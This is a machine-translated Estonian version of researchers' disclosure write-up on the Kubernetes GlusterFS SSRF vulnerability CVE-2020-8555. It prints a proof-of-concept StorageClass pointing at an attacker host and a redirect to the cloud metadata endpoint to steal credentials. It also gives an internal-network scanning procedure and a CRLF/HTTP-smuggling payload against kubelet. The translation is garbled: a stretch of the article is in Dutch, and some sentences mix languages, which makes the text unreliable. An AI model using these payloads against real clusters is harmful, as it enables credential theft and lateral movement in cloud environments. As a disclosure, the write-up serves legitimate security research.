Kui kĂŒsimus ei ole ainult Kubernetes'e haavatavuses...

MĂ€rk. tĂ”lge.: artikli autorid selgitavad ĂŒksikasjalikult, kuidas neile Ă”nnestus avastada haavatavus CVE-2020–8555 Kuberneteses. Kuigi see algselt ei tundunud vĂ€ga ohtlik, osutus selle kriitilisus koos teiste teguritega mĂ”ne pilveteenuse osutaja juures maksimaalseks. Tehtud töö eest premeeriti spetsialiste heldelt mitme organisatsiooni poolt.

Kui kĂŒsimus ei ole ainult Kubernetes'e haavatavuses...

Kes me oleme

Oleme kaks Prantsuse turvauurijat, kes ĂŒhiselt avastasid haavatavuse Kuberneteses. Meie nimed on Brice Augras ja Christophe Hauquiert, kuid paljudes Bug Bounty platvormides oleme tuntud kui Reeverzax ja Hach vastavalt:

Mis juhtus?

See artikkel on meie viis rÀÀkida sellest, kuidas tavaline uurimisprojekt ootamatult muutus kÔige pÔnevamaks seikluseks bugihuntijate elus (vÀhemalt praegu).

Kuidas te ilmselt teate, bugihuntijatel on paar tÀhelepanuvÀÀrset omadust:

  • nad elavad pitsade ja Ă”lle peal;
  • nad töötavad siis, kui kĂ”ik teised magavad.

Me ei ole erand reeglitest: tavaliselt kohtume nĂ€dalavahetustel ja veedame unetuid hĂ€ackerite öid. Kuid ĂŒks neist öödest lĂ”ppes ĂŒsna ebatavaliselt.

Alguses kavasime kohtuda, et arutada osalemist CTF jĂ€rgmisel pĂ€eval. Arutledes Kubernetes'i turvalisuse ĂŒle hallatud teenuse keskkonnas, meenutasime vana ideed SSRF (Server-Side Request Forgery) ja otsustasime proovida seda rĂŒnnaku stsenaariumina kasutada.

Kell 11 Ă”htul asusime uurimiste juurde ja lĂ€ksime magama vara hommikul, olles tulemusega ĂŒsna rahul. Just nende uurimiste tĂ”ttu sattusime MSRC Bug Bounty programmile ja lĂ”ime privileegide eskaleerimise eksploidiga.

Möödus mitu nĂ€dalat/kuud ning meie ootamatu tulemus aitas saada ĂŒhe kĂ”rgeima auhinna Azure Cloud Bug Bounty ajaloos — koos sellega, mille saime Kuberneteselt!

Meie uurimisprojekti pĂ”hjal avaldas Kubernetes Product Security Committee CVE-2020–8555.

NĂŒĂŒd tahaksime levida teavet leitud haavatavuse kohta vĂ”imalikult laialdaselt. Loodame, et hindate leidmist ja jagate tehnilisi ĂŒksikasju teiste infotehnoloogia turvagĂŒroode liikmetega!

Nii et siin on meie lugu...

Kontekst

Kuna me tahame maksimaalselt edasi anda selle juhtumi sisu, vaatame kÔigepealt, kuidas Kubernetes töötab pilvehaldatud keskkonnas.

Kui loote Kubernetes'i klastrifaili sellises keskkonnas, vastutab halduskihi eest tavaliselt pilveteenuse pakkuja:

Kui kĂŒsimus ei ole ainult Kubernetes'e haavatavuses...
Halduskiht asub pilveteenuse pakkuja perimeetris, samas kui Kubernetes'i sÔlmed asuvad kliendi perimeetris.

DĂŒnaamilise mahtude mÀÀramise jaoks kasutatakse mehhanismi nende dĂŒnaamiliseks pakkumiseks vĂ€lisest storage-taustast ja sidumiseks PVC-ga (persistent volume claim, st mahtude taotlus).

Nii et pĂ€rast seda, kui PVC on loodud ja seotud klastris K8s StorageClass'iga, vĂ”tab edasiste mahtude mÀÀramise tegevuse ĂŒle kube/cloud controller manager (tema tĂ€pne nimetus sĂ”ltub vĂ€ljaandest). (MĂ€rk. tĂ”lge.: Rohkem CCM-ist ĂŒhe pilveteenuse pakkuja rakenduse nĂ€itel oleme juba kirjutanud siit.)

Kubernetes toetab mitmeid erinevaid provisioner'eid: enamik neist on integreeritud orkestraatori pÔhijuhu, samas kui teisi haldavad lisaproviseerijad, mis asuvad pod'ides klastris.

Oma uurimises keskendusime mahamakstud mahu pakkumise sisemehhanismile, mis on illustreeritud allpool:

Kui kĂŒsimus ei ole ainult Kubernetes'e haavatavuses...
Mahtude dĂŒnaamiline pakkumine Kubernetes'i sisseehitatud provisioner'iga

LĂŒhidalt öeldes, kui Kubernetes on hallatavates keskkondades juurutatud, vastutab controller manager'i eest pilveteenuse pakkuja, kuid mahu loomise pĂ€ring (joonisel number 3) lahkub pilveteenuse pakkuja sisemisest vĂ”rgust. Ja siin muutub olukord tĂ”eliselt huvitavaks!

HĂ€kkeristsenaarium

Selles osas rÀÀgime, kuidas kasutasime eespoolMainitud töövoogu ja saime juurdepÀÀsu pilveteenuse pakkuja sisemistele ressurssidele. Samuti nĂ€idatakse, kuidas teatud toiminguid teostada — nĂ€iteks saada sisemised pÀÀsmed vĂ”i teha privileegide eskaleerimist.

Üks lihtne manipulatsioon (antud juhul Service Side Request Forgery) aitas pÀÀseda vĂ€lja kliendi keskkonnast erinevate hallatava K8s teenusepakkujate klastrites.

Oma uuringutes keskendusime GlusterFS provisioner'ile. Kuigi hilisem tegevusjÀrk on kirjeldatud sellises kontekstis, on sama haavatavuse ohvriks ka Quobyte, StorageOS ja ScaleIO.

Kui kĂŒsimus ei ole ainult Kubernetes'e haavatavuses...
DĂŒnaamiliste mÔÔtmete esitamise mehhanismi kuritarvitamine

Salvestusklasside analĂŒĂŒsi kĂ€igus GlusterFS Golang'i kliendi lĂ€htekoodides me mĂ€rgati, et esimese HTTP-pĂ€ringu (3), mis saadetakse mahtude loomise ajal, lĂ”ppu kasutaja URL-is parameetris resturl lisatakse /volumes.

Selle tĂ€iendava tee eemaldamiseks otsustasime lisada # parameetrisse resturl. Siin on esimene YAML-konfiguratsioon, mida kasutasime 'poole-pimedate' SSRF-haavatavuse kontrollimiseks (lisateavet poole-pimedate vĂ”i half-blind SSRF kohta saab lugeda nĂ€iteks siit — kt. tĂ”lge):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

SeejĂ€rel kasutasime Kubernetes'i klastrit kaugjuhtimiseks binaarfaili kubectl. Üldiselt pakuvad pilveteenuse pakkujad (Azure, Google, AWS jne) vĂ”imalust saada nende kasutamiseks vajalikud mandaadid.

Selle tÔttu Ônnestus rakendada oma "erilised" failid. Kube-controller-manager tegi tulemuseks oleva HTTP-pÀringu:

kubectl create -f sc-poc.yaml

Kui kĂŒsimus ei ole ainult Kubernetes'e haavatavuses...
RĂŒnnake vaatepunktist

Varsti pÀrast seda suutsime saada ka HTTP-vastuse sihtserverilt - kubectl kÀskude kaudu describe pvc vÔi get events kubectl'is. Ja tÔepoolest: see Kubernetes'i draiver on vaikimisi liiga sÔnakas oma hoiatusi / veateateid...

Siin on nÀide, kus viidatakse https://www.google.fr, mis on seatud parameetrina resturl:

kubectl describe pvc poc-ssrf
# vÔi kasutage kubectl get events

Kui kĂŒsimus ei ole ainult Kubernetes'e haavatavuses...

Selle lĂ€henemise raames olime piiratud HTTP POST ja ei saanud vastuse keha sisu, kui tagastatud kood oli 201. SeetĂ”ttu otsustasime teha tĂ€iendavaid uuringuid ja laiendasime sellist rĂŒnnaku stsenaariumi uute lĂ€henemisviisidega.

Meie uuringute evolutsioon

  • TĂ€pne stsenaarium nr 1: 302 suunamise kasutamine vĂ€liselt serverilt HTTP meetodi muutmiseks, et saada paindlikum viis siseteabe kogumiseks.
  • TĂ€pne stsenaarium nr 2: LAN-i skaneerimise ja sisemiste ressursside avastamise automatiseerimine.
  • TĂ€pne stsenaarium nr 3: HTTP CRLF + smugeling ('salakaubaveo') kasutamine kohandatud HTTP-pĂ€ringute loomiseks ja kube-controller'i logidest andmete saamiseks.

Tehnilised spetsifikatsioonid

  • Uuringutes kasutati Azure Kubernetes Service'i (AKS) Kubernetes versiooniga 1.12 PĂ”hja-Euroopa regioonis.
  • Ülaltoodud stsenaariume viidi lĂ€bi Kubernetes'i uusimates versioonides, vĂ€lja arvatud kolmas stsenaarium, kuna see vajab Kubernetes'i, mis on kompileeritud Golangi versiooniga ≀ 1.12.
  • RĂŒndaja vĂ€line server — https://attacker.com.

TÀpne stsenaarium nr 1: POST-pÀringu HTTP-suunamine GET-ks ja konfidentsiaalsete andmete hankimine

Algset meetodit tÀiustati kurjategija serveri konfigureerimisega tagasikutsumiseks 302 HTTP tagastusrekood, et muuta POST-pÀring GET-pÀringuks (samm 4 skeemil):

Kui kĂŒsimus ei ole ainult Kubernetes'e haavatavuses...

Esimene pĂ€ring (3), mis saadetakse kliendi kaudu GlusterFS (Controller Manager), on tĂŒĂŒbilt POST. Sooritades jĂ€rgmised sammud, suutsime selle muuta GET-ks:

  • Parameetrina resturl StorageClassis mÀÀratleb http://attacker.com/redirect.php.
  • LĂ”pp-punkt https://attacker.com/redirect.php vastab HTTP staatuskoodiga 302 koos jĂ€rgmise Location Header’iga: http://169.254.169.254. See vĂ”ib olla mis tahes muu sisemine ressurss — antud juhul kasutatakse ĂŒmbersuunamislinki ainult nĂ€itena.
  • Vaikimisi net/http teek Golang suunab pĂ€ringu ja konverteerib POST-i GET-iks koos 302. staatuskoodiga, mille tagajĂ€rjel saadetakse sihtressursile HTTP GET-pĂ€ring.

HTTP vastuse keha lugemiseks on vaja teha describe PVC objekti:

kubectl describe pvc xxx

Siin on nÀide HTTP vastusest JSON-formaadis, mille me saime:

Kui kĂŒsimus ei ole ainult Kubernetes'e haavatavuses...

Leitud haavatavuse vÔimalused olid sel hetkel piiratud jÀrgmiste asjaolude tÔttu:

  • VĂ”imetus lisada HTTP pĂ€iseid vĂ€ljaminevasse pĂ€ringusse.
  • VĂ”imetus teha POST-pĂ€ringut parameetritega kehas (nii on mugav kĂŒsida vĂ”tme vÀÀrtust etcd eksemplarilt, mis töötab 2379 portil, kui kasutatakse krĂŒpteerimata HTTP-d).
  • VĂ”imetus saada vastuse keha sisu, kui staatuskood oli 200 ja vastusel ei olnud JSON Content-Type'i.

Arendusstsenaarium nr 2: kohaliku vÔrgu skaneerimine

Seda meetod half-blind SSRF kasutati seejĂ€rel pilveteenuste pakkuja sisevĂ”rgu skaneerimiseks ning erinevate kuulavate teenuste (nĂ€iteks Metadata, Kubelet, etcd jne) kĂŒsitlemiseks vastuste pĂ”hjal. kube controller’i.

Kui kĂŒsimus ei ole ainult Kubernetes'e haavatavuses...

Esmalt mÀÀrati kindlaks Kubernetes komponentide standardkuulamisportid (8443, 10250, 10251 jne), seejÀrel tuli skaneerimisprotsess automatiseerida.

NĂ€hes, et see skaneerimise meetod on vĂ€ga spetsiifiline ja mitte ĂŒhilduv klassikaliste skannerite ja SSRF-tööriistadega, otsustasime luua oma bash-skripti worker’ite, mis automatiseerivad kogu protsessi.

NĂ€iteks, et kiiremini skaneerida 172.16.0.0/12 sisevĂ”rgu vahemikku, kĂ€ivitati paralleelselt 15 worker’it. Ülaltoodud IP-vahemik valiti ainult nĂ€itena ja vĂ”ib olla muudetud konkreetse teenusepakkuja IP-vahemikuks.

Ühe IP-aadresse ja ĂŒhte porti skaneerimiseks tuleb teha jĂ€rgmist:

  • kustutada eelmine kord kontrollitud StorageClass;
  • kustutada eelmise kontrollitud Persistent Volume Claim;
  • muuta IP ja Port vÀÀrtused failis sc.yaml;
  • luua uus StorageClass uue IP ja pordiga;
  • luua uus PVC;
  • ekstraheerige skanneerresultate met behulp van describe voor PVC.

Geavanceerd scenario nr. 3: CRLF-injectie + HTTP-smuggling in 'oude' versies van de Kubernetes-cluster.

Als de provider daarnaast oude versies van de K8s-cluster aan klanten aanbood, ja en hen toegang gaf tot de logs van de kube-controller-manager, werd het effect nog significanter.

Voor een aanvaller is het veel gemakkelijker om HTTP-verzoeken naar wens te wijzigen, die bedoeld zijn om de volledige HTTP-respons te verkrijgen.

Kui kĂŒsimus ei ole ainult Kubernetes'e haavatavuses...

Voor de uitvoering van het laatste scenario moesten de volgende voorwaarden worden vervuld:

  • De gebruiker moet toegang hebben tot de logs van de kube-controller-manager (zoals bijvoorbeeld in Azure LogInsights).
  • De Kubernetes-cluster moet een Golang-versie lager dan 1.12 gebruiken.

We hebben een lokale omgeving opgezet die de gegevensuitwisseling tussen de Go-client GlusterFS en een vervalste doelserver simuleert (we onthouden ons voorlopig van het publiceren van de PoC).

Er werd een ontdekte, haavatavusdie versies van Golang onder 1.12 raakte en hackers in staat stelde HTTP-smuggling/CRLF-aanvallen uit te voeren.

Door de hierboven beschreven half-blind SSRF te combineren, samen Sellega suutsime saata pÀringuid oma maitse jÀrgi, sealhulgas pÀiste, HTTP meetodi, parameetrite ja andmete muutmist, mida kube-controller-manager seejÀrel töötles.

Siin on nĂ€ide töötavast 'Ă”nge' parameetrist resturl StorageClass'ist, mis korraldab sarnast rĂŒnnakustsenaariumi:

http://172.31.X.1:10255/healthz? HTTP/1.1
Connection: keep-alive
Host: 172.31.X.1:10255
Content-Length: 1

1
GET /pods? HTTP/1.1
Host: 172.31.X.1:10255

Tulemus on viga unwanted response, mille kohta logitakse teade kontrolleri logidesse. TĂ€nu vaikimisi sisse lĂŒlitatud 'verbose' reĆŸiimile salvestatakse sinna ka vastava HTTP-sĂ”numi sisu.

Kui kĂŒsimus ei ole ainult Kubernetes'e haavatavuses...

See oli meie kÔige tÔhusam 'Ônge' tÔendite kontseptsioonis.

Selle lĂ€henemise kasutamisel suutsime teostada mĂ”ningaid jĂ€rgmistest rĂŒnnakutest erinevate hallatavate k8s pakkujate klastrites: privileegide tĂ”stmine metadata-instance'idelt akrediteeringute hankimisega, masteri DoS (ĆĄifreerimata) HTTP-pĂ€ringute kaudu master-exemplaarides etcd jne.

TagajÀrjed

Kubernetes'i ametlikus avalduses avastatud SSRF-haavatavuse kohta anti sellele hinnang CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Kui vaadata vaid Kubernetes'i perimeetriga seotud haavatavust, siis (tervikuvÔime vektor) kvalifitseerub see kui Puudub.

Kuid vĂ”imalike tagajĂ€rgede hindamine haldatud teenuste keskkonnas (ja see oli meie uurimistöö kĂ”ige huvitavam osa!) tĂ”ukas meid haavatavust ĂŒmber hindama Kriitiline CVSS10/10 paljudele jaotajatele.

Allpool on esitatud lisainfot, mis aitab mÔista, kuidas me hindasime vÔimalikke tagajÀrgi pilveteenustes:

Terviklikkus

  • Kaukomandode teostamine saadud sisemiste mandaatide kaudu.
  • Eeltoodud stsenaariumi kordamine IDOR-i (Insecure Direct Object Reference, st ebaturvalised otsesed viited objektidele) meetodi abil teistele ressurssidele, mis on avastatud kohalikus vĂ”rgus.

Privaatsus

  • RĂŒnnakutĂŒĂŒp Lateraalne liikumine kuna on varastatud pilve mandaate (nt metadata API).
  • Teabe kogumine kohaliku vĂ”rgu skaneerimise kaudu (nĂ€iteks SSH versiooni, HTTP-serveri versiooni mÀÀramine,
).
  • Teabe kogumine instantside ja infrastruktuuri kohta, kĂŒsides sisemisi API-sid, nagu metadata API (http://169.254.169.254, 
).
  • Kliendiandmete vargus pilvekontode kaudu.

Saadavus

KĂ”ik rakendamise stsenaariumid, mis on seotud rĂŒnnakute vektoritega integrity (terviklikkus), vĂ”ivad olla kasutatavad hĂ€vitavate tegevuste jaoks ja pĂ”hjustada, et kliendi piirist (vĂ”i muudest) meistriinstantsid ei ole kĂ€ttesaadavad.

Kuna viibisime hallatavates K8s keskkondades ja hindasime mÔju terviklikkusele, vÔib ette kujutada hulgaliselt stsenaariume, mis vÔivad mÔjutada kÀttesaadavust. TÀiendavateks nÀideteks toome vÀlja andmebaasi etcd kahjustamise vÔi kriitilise API kutsumise teostamise Kubernetes'e jaoks.

Ajatelg

  • 6. detsember 2019: teate saatmine tuvastatud haavatavusest MSRC Bug Bounty.
  • 3. jaanuar 2020: kolmas osapool teavitas Kubernetes'e arendajaid, et me töötame turvaprobleemiga. Ja palus neil kĂ€sitleda SSRF-i kui sisemist (in-core) haavatavust. PĂ€rast seda esitasime ĂŒldise aruande tehniliste ĂŒksikasjadega probleemi allikast.
  • 15. jaanuar 2020: pakkusime Kubernetes'e arendajatele tehnilisi ja ĂŒldiseid aruandeid nende taotluse jĂ€rgi (HackerOne platvormi kaudu).
  • 15. jaanuar 2020: Kubernetes'i arendajad teatasid meile, et half-blind SSRF + CRLF sĂŒst puuduvate versioonide jaoks loetakse sisseehitatud haavatavuseks. Peatusime kohe teiste teenusepakkujate perimeetrite analĂŒĂŒsiga: selle pĂ”hjusest hoolitses nĂŒĂŒd K8si meeskond.
  • 15. jaanuar 2020: HackerOne'i kaudu on saadud preemia MSRC-lt.
  • 16. jaanuar 2020: Kubernetes'i PSC (tootedurbe komitee) tunnustas haavatavust ja palus seda saladuses hoida kuni mĂ€rtsi keskpaigani suure arvu potentsiaalsete ohvrite tĂ”ttu.
  • 11. veebruar 2020: preemia on saadud Google'i VRP-lt.
  • 4. mĂ€rts 2020: HackerOne'i kaudu on saadud preemia Kuberneteselt.
  • 15. mĂ€rts 2020: algselt planeeritud avalikustamine lĂŒkati edasi COVID-19 olukorra tĂ”ttu.
  • 1. juuni 2020: Kubernetes ja Microsoft ĂŒhine avaldus haavatavuse kohta.

TL;DR

  • Me joome Ă”lut ja sööme pitsat 🙂
  • Me avastasime Kuberneteses sisseehitatud haavatavuse, kuigi me ei kavatsenud seda teha.
  • Me tegime tĂ€iendava analĂŒĂŒsi erinevate pilveteenuse pakkujate klastrites ja suutsime suurendada haavatavuse tekitatud kahju, et saada tĂ€iendavaid suurepĂ€raseid boonuseid.
  • Selles artiklis leiate palju tehnilisi ĂŒksikasju. Me rÀÀgime neist meeleldi teiega (Twitter: @ReeverZax & @__hach_).
  • Selgus, et kĂ”ik formaalsused ja aruannete koostamine vĂ”tavad palju rohkem aega, kui algselt oodati.

Lingid

P.S. tÔlkija mÀrkused

Lugege ka meie blogist:

Allikas: habr.com

Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster